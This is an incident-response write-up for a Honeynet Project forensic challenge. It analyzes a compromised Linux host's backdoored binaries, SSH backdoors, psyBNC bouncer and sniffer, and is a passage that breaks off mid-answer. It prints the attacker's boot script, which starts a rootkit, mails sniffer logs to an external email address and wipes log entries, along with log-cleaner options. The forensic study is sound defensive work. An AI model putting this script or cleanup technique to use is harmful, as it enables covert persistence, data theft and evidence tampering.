================================================================================ Honeynet Project Scan of the Month 29 [September, 2003] Author: David Vaartjes Revision: 1 ================================================================================ 1. The Challenge ---------------- On August 10, 2003 a Linux Red Hat 7.2 system was compromised. Your mission is toanalyze the compromised system. What makes this challenge unique is you are to analyze a live system. The image in question was ran within VMware. Once compromised, we suspended the image. The challenge to you is to download the suspended image, run it within VMware (you will get a console to the system with root access), and respond to the incident. When responding to the incident, you may do a live analysis of the system or you can first verify that the system has been compromised and then take it down for a dead analysis (or a combination of both). In either case, you will be expected to explain the impact you had on the evidence. Fortunately, this system was prepared for an incident and MD5 hashes were calculated for all files before the system was deployed. This report will describe all actions performed while analyzing the compromised system. 3. Tools used ------------- - VMware - chkrootkit - Google 4. Questions ------------ ================================================================================ 1. Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system. ================================================================================ First I checked the fingerprint of the suspended image before doing anything: $md5sum linux-suspended.tar.bz2 d95a8c351e048bd7d5596d6fc49b6d72 linux-suspended.tar.bz2 OK, that's a good start. After running the suspended image in an offline secure VMware system, the first thing I did was mounting a floppy with the following binaries: awk, cut, egrep, find, head, id, ls, netstat, ps, strings, sed, uname, md5sum, chkrootkit, useradd etc. After this I changed $PATH to look on /mnt/floppy first. $PATH=/mnt/floppy:$PATH To perform tasks that don't need super user privileges, I created an unprivileged user. How curious I was I tried to have a look at some important log files, such as: - /var/log/messages - /root/.bash_history These were both redirected to /dev/null, which is off course the first indication of a compromised system. I decided to do some further research. First I checked the integrity of the following binaries: - /bin/bash - /bin/mount Ok, not tampered with. Then I wrote a little script to calculate the md5 hashes of some popular binaries. I noticed that multiple binaries were tampered with. Such as: /bin/ls /bin/netstat /sbin/ifconfig /usr/bin/top /bin/ps This is the second indication of a compromised system. After this I analyzed the processes that are currently running on the system. It seems that multiple backdoor processes are active. A more detailed analysis of these malicious processes is discribed in "Question 3". To get some additional information about potentially installed rootkits I launched chkrootkit: $chkrootkit -p /mnt/floppy With the `-p' option, an alternative path can be supplied so it won't use the system's, potentially compromised, binaries. Chkrootkit reports the following incidents (all other output is sanitized): ---chkrootkit report--- Checking `ifconfig'... INFECTED Checking `top'... INFECTED Searching for suspicious files and dirs, it may take a while... /usr/lib/perl5/5.6.0/i386-linux/.packlist /lib/.x /lib/.x/.boot /lib/.x Searching for anomalies in shell history files... Warning: `//root/.bash_history' is linked to another file Checking `bindshell'... INFECTED (PORTS: 3049) ----------------------- As you can see, chkrootkit did not found all backdoored binaries, and couldn't give an indication of which rootkit might be installed on the system. Although, I think its very clear that the host is compromised and backdoored! ================================================================================ 2. Explain the impact that your actions had on the running system. ================================================================================ The first command I executed was "mount" to attach my fd to the filesystem. A better approach had been to mount the vulnerable system (read only) to an offline secure system and check the integrity of the "compromised" binaries from the secure system. If mount was backdoored to perform some nasty actions, things could have been quite different. Because I used my own genuine binaries to do the research, I avoided the risk of executing malicious code. In addition all task that don't need super user privileges are performed using an unprivileged account. ================================================================================ 3. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports). ================================================================================ First I had a look with netstat: ---netstat report--- $netstat -tupan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 845/smbd tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN 15670/xinetd tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3137/smbd -D tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 677/identd tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 3137/smbd -D tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 15670/xinetd tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 699/sshd tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 15670/xinetd tcp 0 0 0.0.0.0:65336 0.0.0.0:* LISTEN 15119/initd tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN 25241/xopen tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 759/sendmail: accep tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 3137/smbd -D tcp 0 0 0.0.0.0:65436 0.0.0.0:* LISTEN 15119/initd udp 0 0 192.168.1.79:137 0.0.0.0:* 850/nmbd udp 0 0 0.0.0.0:137 0.0.0.0:* 850/nmbd udp 0 0 192.168.1.79:138 0.0.0.0:* 850/nmbd udp 0 0 0.0.0.0:138 0.0.0.0:* 850/nmbd udp 0 256 192.168.1.79:1205 192.168.1.1:53 ESTABLISHED 15119/initd udp 0 0 0.0.0.0:3049 0.0.0.0:* 25239/xopen -------------------- Hmmm, some weird things are showing up here. OK, lets analyze these processes. First a list of processes listening on “suspicious” ports: ------------------------------------ port process ------------------------------------ 0.0.0.0:2003: 3137/smbd -D 0.0.0.0:65336: 15119/initd 0.0.0.0:3128: 25241/xopen 0.0.0.0:65436: 15119/initd 256 192.168.1.79:1205: 15119/initd 0 0.0.0.0:3049 25239/xopen All other ports are unsuspected at a quick glance, however there might run other processes than we actually expect. By default, processes listening on these ports would be as following: ------------------------------- port service ------------------------------- 0.0.0.0:139: smbd 0.0.0.0:79: fingerd 0.0.0.0:80: httpd 0.0.0.0:113: identd 0.0.0.0:21: ftpd 0.0.0.0:22: sshd 0.0.0.0:23: telnetd 127.0.0.1:25: smtp 0.0.0.0:443: https 192.168.1.79:137 nmbd 192.168.1.79:138 nmbd However that is not the case here. For example look at port 80 and 443. To do a more solid analysis of the running processes, I wrote a script that analyze the /proc/ pseudo filesystem. To give an idea what this script does, I listed it here: ---check_proc--- #!/bin/bash OUTPUT=/mnt/floppy/proc_list if [ -e $OUTPUT ] then rm $OUTPUT fi cd /proc for file in * do if [ -e $file/cmdline ] then echo "pid:" $file >> $OUTPUT cat $file/cmdline >> $OUTPUT echo >> $OUTPUT if [ -e $file/exe ] then file $file/exe >> $OUTPUT md5sum $file/exe >> $OUTPUT fi echo "######################" >> $OUTPUT fi done ---------------- This yields the following output: ---check_proc report--- pid: 1 init 1/exe: symbolic link to /sbin/init bba401e030ccb3e1f56d21a8fb3b427a 1/exe ###################### pid: 15119 initd 15119/exe: symbolic link to /etc/opt/psybnc/initd c234dbb8d3267f6bf89eb3091f8ab061 15119/exe ###################### pid: 15670 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid 15670/exe: symbolic link to /usr/sbin/xinetd c57f58727f143f98474a1db5e6b12585 15670/exe ###################### pid: 15749 -bash 15749/exe: symbolic link to /bin/bash d8868bcb4d60e19ba915c87b27757574 15749/exe ###################### pid: 15849 login -- root 15849/exe: symbolic link to /bin/login f7bb5e22f91e216c7b3f90d8cc98af64 15849/exe ###################### pid: 16076 login -- root 16076/exe: symbolic link to /bin/login f7bb5e22f91e216c7b3f90d8cc98af64 16076/exe ###################### pid: 16082 -bash 16082/exe: symbolic link to /bin/bash d8868bcb4d60e19ba915c87b27757574 16082/exe ###################### pid: 16144 -bash 16144/exe: symbolic link to /bin/bash d8868bcb4d60e19ba915c87b27757574 16144/exe ###################### pid: 17 ###################### pid: 17713 CROND 17713/exe: symbolic link to /usr/sbin/crond ee1757114256c526d0c45af54119f928 17713/exe ###################### pid: 17716 /usr/sbin/sendmail-FCronDaemon -i -odi -oem root 17716/exe: symbolic link to /usr/sbin/sendmail 4d11a05c488245242305b17bae1bcc4e 17716/exe ###################### pid: 17721 /bin/bash /mnt/floppy/check_proc 17721/exe: symbolic link to /bin/bash d8868bcb4d60e19ba915c87b27757574 17721/exe ###################### pid: 2 ###################### pid: 25239 /lib/.x/s/xopen-q -p 3128 25239/exe: symbolic link to /lib/.x/s/xopen fd444a070eaa57e06d6edb7a112f02cc 25239/exe ###################### pid: 25241 /lib/.x/s/xopen -q -p 3128 25241/exe: symbolic link to /lib/.x/s/xopen fd444a070eaa57e06d6edb7a112f02cc 25241/exe ###################### pid: 25247 /lib/.x/s/lsn ###################### pid: 3 ###################### pid: 3137 smbd -D 3137/exe: symbolic link to /usr/bin/smbd -D 0c9fd2ff1740a4ae5b4a1a3a82846f44 3137/exe ###################### pid: 3153 (swapd) 3153/exe: symbolic link to /usr/bin/(swapd) bc6d6b0ffb4e41e4753289fe28cf3521 3153/exe ###################### pid: 3247 syslogd -m 0 3247/exe: symbolic link to /sbin/syslogd d005c4060f374680b23142e212272e14 3247/exe ###################### pid: 3252 klogd -2 3252/exe: symbolic link to /sbin/klogd eb036b9b4d2cd58f05653c1a8cd755d4 3252/exe ###################### pid: 4 ###################### pid: 5 ###################### pid: 6 ###################### pid: 657 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scripts/apmscript 657/exe: symbolic link to /usr/sbin/apmd d6333542b96adba1ef64a08e6c037261 657/exe ###################### pid: 677 identd -e -o 677/exe: symbolic link to /usr/sbin/identd a6b811aa29ebcad9fbeb77b6d051e92d 677/exe ###################### pid: 685 identd -e -o 685/exe: symbolic link to /usr/sbin/identd a6b811aa29ebcad9fbeb77b6d051e92d 685/exe ###################### pid: 686 identd -e -o 686/exe: symbolic link to /usr/sbin/identd a6b811aa29ebcad9fbeb77b6d051e92d 686/exe ###################### pid: 695 identd -e -o 695/exe: symbolic link to /usr/sbin/identd a6b811aa29ebcad9fbeb77b6d051e92d 695/exe ###################### pid: 696 identd -e -o 696/exe: symbolic link to /usr/sbin/identd a6b811aa29ebcad9fbeb77b6d051e92d 696/exe ###################### pid: 699 /usr/sbin/sshd 699/exe: symbolic link to /usr/sbin/sshd 93289e1e63b0b798117f64818a3b0ad7 699/exe ###################### pid: 7 ###################### pid: 759 sendmail: accepting connections 759/exe: symbolic link to /usr/sbin/sendmail 4d11a05c488245242305b17bae1bcc4e 759/exe ###################### pid: 778 gpm -t ps/2 -m /dev/mouse 778/exe: symbolic link to /usr/sbin/gpm f0ea90a969ed80a1610b3bcc29ea7ec5 778/exe ###################### pid: 8 ###################### pid: 820 crond 820/exe: symbolic link to /usr/sbin/crond ee1757114256c526d0c45af54119f928 820/exe ###################### pid: 845 smbd -D 845/exe: symbolic link to /usr/sbin/smbd 92c3cbedecaeb874134f68fc503ab3bc 845/exe ###################### pid: 850 nmbd -D 850/exe: symbolic link to /usr/sbin/nmbd bb1732838d004cc958bfc0ac0d2a4988 850/exe ###################### pid: 895 login -- root 895/exe: symbolic link to /bin/login f7bb5e22f91e216c7b3f90d8cc98af64 895/exe ###################### pid: 896 /sbin/mingetty tty4 896/exe: symbolic link to /sbin/mingetty 8b634fbd285665ca095ce22ab029dbf4 896/exe ###################### pid: 899 /sbin/mingetty tty5 899/exe: symbolic link to /sbin/mingetty 8b634fbd285665ca095ce22ab029dbf4 899/exe ###################### pid: 9 ###################### pid: 900 /sbin/mingetty tty6 900/exe: symbolic link to /sbin/mingetty 8b634fbd285665ca095ce22ab029dbf4 900/exe ###################### pid: 92 ###################### pid: self cat self/cmdline self/exe: symbolic link to /usr/bin/file 5407bf0bd69bf1ee935af50a4a2673bd self/exe ###################### ---------------- This little test shows the same results as the process information showed by netstat. So its likely that the process information we are looking at is not tampered with, unless some kernel level hooking is done. Further analysis of the running processes and there integrity is discussed later on. ================================================================================ 4. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for? ================================================================================ The only UDP "established" network connection showing up is: ---netstat report--- Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 256 192.168.1.79:1205 192.168.1.1:53 ESTABLISHED 15119/initd -------------------- Let's do some research on the running process. From the check_proc script: ---check_proc report--- pid: 15119 initd 15119/exe: symbolic link to /etc/opt/psybnc/initd c234dbb8d3267f6bf89eb3091f8ab061 15119/exe ----------------------- This is very suspicious. The attacker tries to run that specific process under the initd name to cover it. Let's have a look at what process is running here? First I checked whether this binary is listed in the host79-2003-08-06.md5 list. Which, as expected, isn't. Let's take a look at the /etc/opt/psybnc/ directory. $ls -la /etc/opt/psybnc ---ls output--- total 424 drwxrwxr-x 10 root root 4096 Aug 10 22:55 . drwxr-xr-x 3 root root 4096 Aug 10 15:57 .. -rw-r--r-- 1 root root 31507 Aug 14 2002 CHANGES -rw------- 1 root root 929 May 6 2002 config.h -rw------- 1 root root 17982 Mar 25 2001 COPYING -rw-r--r-- 1 root root 2661 Aug 14 2002 FAQ drwxr-xr-x 2 root root 8192 May 31 2002 help -rwxr-xr-x 1 root root 214636 Aug 10 16:01 initd drwxr-xr-x 2 root root 4096 Jan 12 2002 lang drwxrwxr-x 2 root root 4096 Aug 10 17:50 log -rw-r--r-- 1 root root 2129 Jul 7 2002 Makefile -rw-r--r-- 1 root root 729 Aug 10 16:01 makefile.out -rwxr-xr-x 1 root root 16856 Aug 10 16:01 makesalt drwxrwxr-x 3 root root 4096 Jul 30 2000 menuconf drwxrwxr-x 2 root root 4096 Aug 10 20:35 motd -rwxrwxr-x 1 root root 369 Aug 8 2000 psybncchk -rw------- 1 root root 1383 Aug 10 20:57 psybnc.conf -rw------- 1 root root 1384 Aug 10 18:00 psybnc.conf.old -rw------- 1 root root 6 Aug 10 16:02 psybnc.pid -rw-r--r-- 1 root root 35785 Jul 8 2002 README -rw-r--r-- 1 root root 15738 Jul 15 2001 SCRIPTING drwxrwxr-x 3 root root 4096 Jul 30 2000 scripts drwxr-xr-x 2 root root 4096 Aug 10 16:01 src -rw------- 1 1004 490 3901 Jan 12 2002 targets.mak -rw-r--r-- 1 root root 509 Aug 15 2002 TODO drwxrwxr-x 2 root root 4096 Aug 10 16:01 tools --------------- And at some interesting parts of the config/log files: ---psybnc.conf--- PSYBNC.SYSTEM.PORT1=65336 PSYBNC.SYSTEM.HOST1=* USER1.USER.AWAYNICK=[[[kgb]]] USER1.USER.NICK=[[[kgb]]] USER1.SERVERS.SERVER1=mesa.az.us.undernet.org USER1.SERVERS.PORT1=6667 USER1.CHANNELS.ENTRY1=#radioactiv USER1.CHANNELS.ENTRY0=#RedCode USER2.USER.LOGIN=redcode USER2.USER.USER=4,1redCode8Chicken USER2.USER.PASS==`&'X1e'O`t1I1k'8'6 USER2.USER.AWAYNICK=killMe USER2.USER.NICK=killMe USER2.SERVERS.SERVER1=mesa.az.us.undernet.org USER2.SERVERS.PORT1=6667 USER2.CHANNELS.ENTRY1=#AiaBuni USER2.CHANNELS.ENTRY0=#RedCode ----------------- ---psybnc.old.conf--- PSYBNC.SYSTEM.PORT1=65336 PSYBNC.SYSTEM.HOST1=* USER1.USER.LOGIN=sic USER1.USER.USER=4,1I`m siCk motherfucker siCk USER1.USER.PASS==`N`Y1y`T1201'l`C`g USER1.SERVERS.SERVER1=mesa.az.us.undernet.org USER1.SERVERS.PORT1=6667 USER1.CHANNELS.ENTRY1=#radioactiv USER1.CHANNELS.ENTRY0=#RedCode USER2.USER.LOGIN=redcode USER2.USER.USER=4,1redCode8Chicken USER2.USER.PASS==`&'X1e'O`t1I1k'8'6 USER2.USER.AWAYNICK=killMe USER2.USER.NICK=redcode USER2.SERVERS.SERVER1=mesa.az.us.undernet.org USER2.SERVERS.PORT1=6667 USER2.CHANNELS.ENTRY1=#AiaBuni USER2.CHANNELS.ENTRY0=#RedCode --------------------- ---psybnc.log--- Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port 65336 Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port -100 Sun Aug 10 16:02:46 :Can't create listening sock on host * port -200 (bind) Sun Aug 10 16:02:46 :Loading all Users.. Sun Aug 10 16:02:46 :No Users found. Sun Aug 10 16:02:46 :psyBNC2.3.1-cBtITLdDMSNp started (PID :15119) Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro Sun Aug 10 16:03:32 :New User:sic (wqewqde dedwqere) added by sic Sun Aug 10 16:03:36 :User sic () has no server added Sun Aug 10 16:04:06 :User sic () trying fairfax.va.us.undernet.org port 6667 (). Sun Aug 10 16:04:06 :User sic () connected to fairfax.va.us.undernet.org:6667 () Sun Aug 10 16:04:47 :Hop requested by sic. Quitting. Sun Aug 10 16:04:47 :User sic got disconnected from server. <..snip..> Sun Aug 10 17:49:47 :User sic logged in. Sun Aug 10 17:50:39 :New User:redcode (4,1redCode8Chicken) added by sic Sun Aug 10 17:50:51 :User redcode () has no server added Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro Sun Aug 10 17:51:22 :User redcode logged in. Sun Aug 10 17:51:36 :User redcode () trying mesa.az.us.undernet.org port 6667(). Sun Aug 10 17:51:36 :User redcode () connected to mesa.az.us.undernet.org:6667() Sun Aug 10 17:51:42 :User redcode () got disconnected (from mesa.az.us.undernet.org) -> Reason: Closing Link: killme by mesa.az.us.undernet.org (Sorry, your connection -> class is full - try again later or try another server) Sun Aug 10 17:52:06 :User redcode () trying mesa.az.us.undernet.org port 6667(). Sun Aug 10 17:52:06 :User redcode () connected to mesa.az.us.undernet.org:6667() <..snip..> Sun Aug 10 20:49:54 :User redcode () trying mesa.az.us.undernet.org port 6667(). Sun Aug 10 20:50:24 :User redcode got disconnected from server. Sun Aug 10 20:50:39 :User sic () trying mesa.az.us.undernet.org port 6667 (). Sun Aug 10 20:51:09 :User sic got disconnected from server. Sun Aug 10 20:51:09 :User redcode () trying mesa.az.us.undernet.org port 6667(). Sun Aug 10 20:51:39 :User redcode got disconnected from server. <..snip..> ----------------- The following header shows up when connecting to this service: $telnet 127.0.0.1 65436 ---telnet output--- Trying 127.0.0.1... Connected 127.0.0.1. Escape character is '^]' :Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.3.1 ------------------- It is very clear that the psyBNC2.3.1 IRC bouncer is installed on the day the system was compromised. The log/conf files can be used in an attempt to trace the attacker down. This will be discussed in the bonus question section: What nationality do you believe the attacker(s) to be, and why? The "established" connection is used by psyBNC to look up DNS information at host 192.168.1.1, which is the configured DNS server for the compromised host. ================================================================================ 5. How many instances of an SSH server were installed and at what times? ================================================================================ Some research points out that there are multiple SSH servers installed at the system. SSH server 1. ------------- Binary: /usr/sbin/sshd Last time the inode info was modified: $ls -alc /usr/sbin/sshd -rwxr-xr-x 1 root root 246220 Aug 10 13:33 /usr/sbin/sshd Netstat: Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 699/sshd Header: ---------------- Trying 127.0.0.1... Connected 127.0.0.1. Escape character is '^]' SSH-1.99-OpenSSH_2.9p2 ---------------- This seems to be the "original" SSH server from the compromised host. According to the fingerprint the binary is not tapered with. Inode information was modified Aug 10, host keys were generated at the following times: $ls -alc /etc/ssh total 68 drwxr-xr-x 31 root root 4096 Aug 11 07:56 .. drwxr-xr-x 2 root root 4096 Aug 11 07:00 . -rw------- 1 root root 668 Jul 14 20:57 ssh_host_dsa_key -rw-r--r-- 1 root root 590 Jul 14 20:57 ssh_host_dsa_key.pub -rw------- 1 root root 887 Jul 14 20:57 ssh_host_rsa_key -rw-r--r-- 1 root root 210 Jul 14 20:57 ssh_host_rsa_key.pub -rw------- 1 root root 515 Jul 14 20:57 ssh_host_key -rw-r--r-- 1 root root 319 Jul 14 20:57 ssh_host_key.pub -rw------- 1 root root 1771 Jul 14 13:54 sshd_config -rw-r--r-- 1 root root 1073 Jul 14 13:54 ssh_config -rw------- 1 root root 26287 Jul 14 13:54 primes It is likely that this SSH server was installed on July 14. SSH server 2. ------------- Binary: /usr/bin/smbd -D Last time the inode info was modified: $ls -alc /usr/bin/smbd -D -rwxr-xr-x 1 root root 672527 Aug 10 13:33 /usr/bin/smbd -D Netstat: Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 3137/smbd -D Header: ---------------- Trying 127.0.0.1... Connected 127.0.0.1. Escape character is '^]' SSH-1.5-By-ICE_4_All ( Hackers Not Allowed! ) ---------------- Because this binary does not show up in the host79-2003-08-06.md list and it was installed at August 10, it looks like a SSH backdoor to me. SSH server 3. ------------- Binary: /lib/.x/s/xopen Last time the inode info was modified: $ls -alc /lib/.x/s/xopen -rwxrwxrwx 1 root root 217667 Aug 10 15:32 /lib/.x/s/xopen Netstat Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN 25241/xopen Header: ------------------- Trying 127.0.0.1... Connected 127.0.0.1. Escape character is '^]' SSH-1.5-1.2.32 daemon ------------------- And this seems to be another SSH backdoor. =============================================================== 6. Which instances of the SSH servers from question 5 were run? =============================================================== According to the netstat info (question 3 & 4) all three instances are up and running. ================================================================================ 7. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected? ================================================================================ I could not detect any sign that one of the three mentioned SSH servers has been modified to collect unique information. But the attacker installed both a network and TTY sniffer to collect some information. The following binary looks like some kind of network sniffer to me: #ls -acl /lib/.x/s/lsn -rwxrwxrwx 1 root root 5192 Aug 10 15:32 lsn Process information about lsn: UID PID PPID C STIME TTY TIME CMD root 19553 1 0 10:13 ? 00:00:00 /lib/.x/s/lsn It seems that lsn logs information to: /lib/.x/s/mfs Information in this file shows us that lsn logs all the connections made from and to the host. It seems that the attacker logged his own activities here: ---mfs--- ============================================================ Time: Sun Aug 10 15:40:47 Size: 100 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:40:50 Size: 80 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:40:56 Size: 60 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:41:08 Size: 40 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:41:32 Size: 20 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 16:04:13 Size: 44 Path: proxyscan.undernet.org => 192.168.1.79 [23] ------------------------------------------------------------ k ============================================================ Time: Sun Aug 10 21:27:35 Size: 256 Path: localhost.localdomain => localhost.localdomain [23] ------------------------------------------------------------ @@ ============================================================ Time: Sun Aug 10 21:27:35 Size: 219 Path: localhost.localdomain => localhost.localdomain [23] ------------------------------------------------------------ @ ============================================================ Time: Sun Aug 10 21:28:18 Size: 64 Path: localhost.localdomain => localhost.localdomain [21] ------------------------------------------------------------ @@ ============================================================ Time: Sun Aug 10 21:28:18 Size: 44 Path: localhost.localdomain => localhost.localdomain [21] ------------------------------------------------------------ @ ============================================================ Time: Sun Aug 10 21:30:53 Size: 256 Path: localhost.localdomain => localhost.localdomain [23] ------------------------------------------------------------ @@ ============================================================ Time: Sun Aug 10 21:30:53 Size: 256 Path: localhost.localdomain => localhost.localdomain [23] ------------------------------------------------------------ @ ============================================================ Time: Sun Aug 10 21:31:39 Size: 256 Path: localhost.localdomain => localhost.localdomain [23] ------------------------------------------------------------ @@ ============================================================ Time: Sun Aug 10 21:31:39 Size: 256 Path: localhost.localdomain => localhost.localdomain [23] ------------------------------------------------------------ @ --------- The attacker left a script (/lib/.x/.boot). After taking a thorough look at this script, it seems to launch one of the mentioned SSH servers, runs the sk (SuckIT rootkit) and mails network/TTY sniffer logs to the attackers Yahoo account: ---boot--- #!/bin/sh SSHPORT=`cat /lib/.x/s/port` IP=`cat /lib/.x/ip` TIME=`date` /lib/.x/s/xopen -q -p ${SSHPORT} >> /lib/.x/reboot.log /lib/.x/s/lsn & /lib/.x/sk p 1 >> /lib/.x/reboot.log /lib/.x/sk f 1 >> /lib/.x/reboot.log echo "###Host ${IP} went online on ${TIME}" >> /tmp/13996log echo >> /tmp/13996maillog echo >> /tmp/13996maillog echo "###SSHD backdoor port: ${SSHPORT}" >> /tmp/13996log echo >> /tmp/13996maillog echo >> /tmp/13996maillog echo "###Sniffer log:" >> /tmp/13996log echo " - TTY Sniffer:" >> /tmp/13996log cat /lib/.x/.lurker >> /tmp/13996log echo >> /tmp/13996maillog echo " - Network Sniffer:" >> /tmp/13996log cat /lib/.x/s/mfs >> /tmp/13996maillog echo >> /tmp/13996maillog echo >> /tmp/13996maillog echo "###Reboot log:" >> /tmp/13996log cat /lib/.x/reboot.log >> /tmp/13996log echo >> /tmp/13996maillog echo >> /tmp/13996maillog cat /tmp/13996log | mail -s "Host ${IP} is up!" skiZophrenia_sick@yahoo.com /lib/.x/hide /lib/.x/cl -f /var/log/maillog yahoo > /dev/null /lib/.x/cl -s o.tgz > /dev/null /lib/.x/cl -s suckit > /dev/null /lib/.x/cl -s xopen > /dev/null /lib/.x/cl -s promisc > /dev/null /lib/.x/cl -f promisc /var/log/secure > /dev/null rm -rf /tmp/13996* rm -rf /lib/.x/reboot.log --------- From this script we can see that some kind of TTY sniffer that logs to /lib/.x/.lurker is running on the system. However /lib/.x/.lurker file is not there and I did not found any kind of TTY sniffer. Also the SuckIT rootkit is started from this script. However, it seems that this did not happed exactly the way the attacker(s) had in mind. As we can see from the SukIT install.log and reboot.log: ---install.log--- #################################################### # SucKIT version 1.3b by Unseen # ##################################################### RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[] ##################################################### # SucKIT version 1.3b by Unseen # ##################################################### RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[] ##################################################### # SucKIT version 1.3b by Unseen # ##################################################### RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[] ##################################################### # SucKIT version 1.3b by Unseen # ##################################################### RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[] <..SNIP..> ---------------- ---reboot.log--- ##################################################### # SucKIT version 1.3b by Unseen # ##################################################### RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[] ##################################################### # SucKIT version 1.3b by Unseen # ##################################################### RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[] ----------------- Seems like we had some luck here ;-). At the end of the script the attacker cleans up some things. Let's have a look at the cl binary. First we do a: ---cl--- $./cl -h Die Putze 0.6 - The ultimate unix logfile cleaner... asciifile options: -s - removes string from logfiles. -f - removes string from file. utmp options: -u - removes username from utmp. -u - removes user on given tty. wtmp options: -w - removes last entry from wtmp. -w - removes last entry on given tty. -ww - removes all entries for username. lastlog options: -l - removes username lastlog entry. misc options: -h - to get this! Report bugs to . -------- That's forensic friendly. It is clear now what occurred at the cleanup lines of the boot script. Lets have a look if "cl" has done a decent job: ---maillog--- $cat /var/log/maillog } grep yahoo Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel) Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel) Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection timed out with mx4.mail.yahoo.com. Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: to=skiZophrenia_siCk@yahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pri=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, stat=Service unavailable Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri=120043, relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dirdel) -------------- It looks like "cl" didn't performed very well, or these entry's might been have added after "boot" was executed. So what is the real impact here ? It seems that some network connection/TTY information is send to the attacker's e-mail address. ================================================================================ 8. Which system executables (if any) were trojaned and what configuration files did they use? ================================================================================ To detect this, I've compared the fingerprints of all binaries in /bin, /sbin, /usr/bin and /usr/sbin against host79-2003-08-06.md. The following original system binaries seems to be trojaned. /bin/ls /bin/ps /bin/netstat /sbin/ifconfig /usr/bin/top Next, I did a "strings" on all the binaries but was not able to find any configuration files, that provide these binaries with information on which files/processes to hide when executed. ================================================================================ 9. How and from where was the system likely compromised? ================================================================================ This is often the hardest part of the research. Which vulnerability has been exploited by the attacker or, which is also a possible scenario, had the attacker compromised an ssh-key or root password ? I think the best way to start is having a look at some famous remote services. A quick glance reveals the following services: Apache/1/3/20 (Apache HTTPD) SSH-1.99-OpenSSH_2.9p2 (OpenSSH) SMBD 2.2.1a (Samba) wu-2.6.1-18 (WU-FTPD) The software of all these services is extremely outdated and contains multiple vulnerabilities. For all the software versions mentioned here, out of the box exploit code exists. Due to a lack of time I did verified which specific service was exploited to gain access, and from which location the attack was performed. ================================================================================ 10. What nationality do you believe the attacker(s) to be, and why? ================================================================================ What do we know about the attacker(s) ? In the sections before we have gathered some interesting information about the possible attacker(s). Lets list it here: The first thing we had, were the psyBNC config and log files. Lets have a look what information we can seize from these files: ---psybnc.conf--- USER1.USER.AWAYNICK=[[[kgb]]] USER1.USER.NICK=[[[kgb]]] USER1.SERVERS.SERVER1=mesa.az.us.undernet.org USER1.CHANNELS.ENTRY1=#radioactiv USER1.CHANNELS.ENTRY0=#RedCode USER2.USER.LOGIN=redcode USER2.USER.USER=4,1redCode8Chicken USER2.USER.PASS==`&'X1e'O`t1I1k'8'6 USER2.USER.AWAYNICK=killMe USER2.USER.NICK=killMe USER2.SERVERS.SERVER1=mesa.az.us.undernet.org USER2.SERVERS.PORT1=6667 